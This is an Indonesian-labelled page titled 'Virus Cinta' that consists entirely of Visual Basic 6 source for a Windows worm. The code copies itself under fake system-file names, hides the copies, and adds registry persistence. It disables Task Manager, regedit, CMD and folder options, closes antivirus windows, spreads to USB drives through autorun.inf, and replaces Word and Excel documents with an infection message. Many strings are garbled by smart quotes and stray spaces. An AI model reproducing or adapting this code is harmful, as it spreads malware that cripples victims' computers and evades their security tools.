Virus Cinta

Virus Cinta

Code:
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetDriveType& Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String)
Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8
Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk
Private Sub Form_Load()
On Error Resume Next

Randomize
Me.Caption = Int(Rnd * 2221189331445#)
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False
InfeksiRegistry
End Sub
Sub BuatWord()
On Error Resume Next
Set obj = CreateObject("word.application")
Set doc = CreateObject("word.application")
Set doc = obj.Documents.Add
doc.Content = "KAMU TERINFEKSI VIRUS CINTA"
End Sub
Sub BuatXls()
On Error Resume Next
Set obj = CreateObject("excel.application")
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = "KAMU TERINFEKSI VIRUS CINTA"
End Sub
Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ WindowsNT \ CurrentVersion \ Winlogon \ Shell", "Explorer.exe" & " "" " & FolderMyDocuments & "services.exe"
RegRun.regwrite "HKEY_LOCAL_MACHINE \ System \ ControlSet001 \ Control \ SafeBoot \ AlternateShell”, FolderFavorites & “ \ SalamKenal.exe”"
RegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoFolderOptions”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoFolderOptions”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Explorer \ Advanced \ ShowSuperHidden”, 0, “REG_DWORD”"
RegRun.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Explorer \ Advanced \ ShowSuperHidden”, 0, “REG_DWORD”"
RegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ policies \ Microsoft \ Windows \ System \ DisableCMD”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_CURRENT_USER \ Software \ policies \ Microsoft \ Windows \ System \ DisableCMD”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ policies \ System \ DisableRegistryTools”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ policies \ System \ DisableRegistryTools”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ Winlogon”, FolderTemplates & “ \ smss.exe”"
RegRun.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ Winlogon”, FolderSendTo & “ \ System.exe”"
RegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoFind”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoFind”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoSMHelp”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoSMHelp”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoClose”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoClose”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_CURRENT_USER \ ControlPanel \ Colors \ WindowText", "255 0 0", "REG_SZ"
RegRun.regwrite "HKEY_CLASSES_ROOT \ Drive \ Shell \ Scan \ Command \ ”, FolderFavorites & “ \ SalamKenal.exe”"
RegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoDrives”, 4, “REG_DWORD”"
RegRun.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoDrives”, 4, “REG_DWORD”"
RegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ InternetExplorer \ policies \ Explore \ NoFileMenu”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ InternetExplorer \ policies \ Explorer \ NoFileMenu”, 1, “REG_DWORD”"
RegRun.regwrite "HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ services \ Cdrom \ Autorun”, 1, “REG_DWORD”"
End Sub
Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & " \ Winlogon.exe") <> "Winlogon.exe" Then
SetAttr (FlashDisk & " \ Winlogon.exe"), vbHidden + vbSystem + vbReadOnly
End If
End Sub
Sub BuatFileAutorunInf()
On Error Resume Next
Open FlashDisk & " \ Autorun.Inf" For Output As 1
Print #1, "; [Autorun]; "
Print #1, "Icon = Winlogon.exe";
Print #1, "Open = Winlogon.exe"
Print #1, "ShellExecute = Winlogon.exe"
Print #1, "Shell\Open\Command=Winlogon.exe"
Print #1, "Shell = Open"
Close #1
SetAttr FlashDisk & " \ Autorun.Inf", vbHidden + vbSystem + vbReadOnly
End Sub
Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject("WScript.Shell")
FolderStartUp = RegRun.specialfolders("StartUp")
FolderMyDocuments = RegRun.specialfolders("MyDocuments")
FolderTemplates = RegRun.specialfolders("Templates")
FolderNetHood = RegRun.specialfolders("NetHood")
FolderPrintHood = RegRun.specialfolders("PrintHood")
FolderFavorites = RegRun.specialfolders("Favorites")
FolderSendTo = RegRun.specialfolders("SendTo")
FolderPrograms = RegRun.specialfolders("Programs")
On Error Resume Next
FileCopy App.Path & " \ ” & App.EXEName & “.exe”, FolderStartUp & “ \ Winlogon.exe"
SetAttr FolderStartUp & “ \ Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
FileCopy App.Path & “ \ ” & App.EXEName & “.exe”, FolderMyDocuments & “ \ services.exe”
SetAttr FolderMyDocuments & “ \ services.exe”, vbHidden + vbSystem + vbReadOnly
FileCopy App.Path & “ \ ” & App.EXEName & “.exe”, FolderTemplates & “ \ smss.exe”
SetAttr FolderTemplates & “ \ smss.exe”, vbHidden + vbSystem + vbReadOnly
FileCopy App.Path & “ \ ” & App.EXEName & “.exe”, FolderPrintHood & “ \ csrss.exe”
SetAttr FolderPrintHood & “ \ csrss.exe”, vbHidden + vbSystem + vbReadOnly
FileCopy App.Path & “ \ ” & App.EXEName & “.exe”, FolderNetHood & “ \ Isass.exe”
SetAttr FolderNetHood & “ \ Isass.exe”, vbHidden + vbSystem + vbReadOnly
FileCopy App.Path & “ \ ” & App.EXEName & “.exe”, FolderFavorites & “ \ Cinta.exe”
SetAttr FolderFavorites & “ \ SalamKenal.exe”, vbHidden + vbSystem + vbReadOnly
FileCopy App.Path & “ \ ” & App.EXEName & “.exe”, FolderSendTo & “ \ System.exe”
SetAttr FolderSendTo & “ \ System.exe”, vbHidden + vbSystem + vbReadOnly
FileCopy App.Path & “ \ ” & App.EXEName & “.exe”, FolderPrograms & “ \ ctfmon.exe”
SetAttr FolderPrograms & “ \ ctfmon.exe”, vbHidden + vbSystem + vbReadOnly
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
FWnd = FindWindow(“OpusApp”, "Document1 – Microsoft Word")
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(“OpusApp”, "New Microsoft Word Document.doc – Microsoft Word")
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
FWnd = FindWindow(“XLMAIN”, "Microsoft Excel – Book1")
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(“XLMAIN”, "Microsoft Excel – New Microsoft Excel Worksheet.xls")
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
FWnd = FindWindow(“#32770?, “RUN”) ‘jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "System Configuration Utility")
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Windows Task Manager")
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770?, “Avira AntiVir Personal – Free Antivirus”)
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770?, “AntiVir Guard: Attention, Detection!”)
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“RegEdit_RegEdit”, vbNullString)
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“TMainForm”, vbNullString)
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“TApplication”, vbNullString)
SendMessage FWnd, WM_CLOSE, 0&, 0&
End Sub
Private Sub Timer4_Timer()
On Error Resume Next
For i = 0 To Drive1.ListCount
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False
Exit For
End If
Next
GandaKeFlashDisk ‘
End Sub
Private Sub Timer5_Timer()
On Error Resume Next
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then
Timer4.Enabled = True
End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub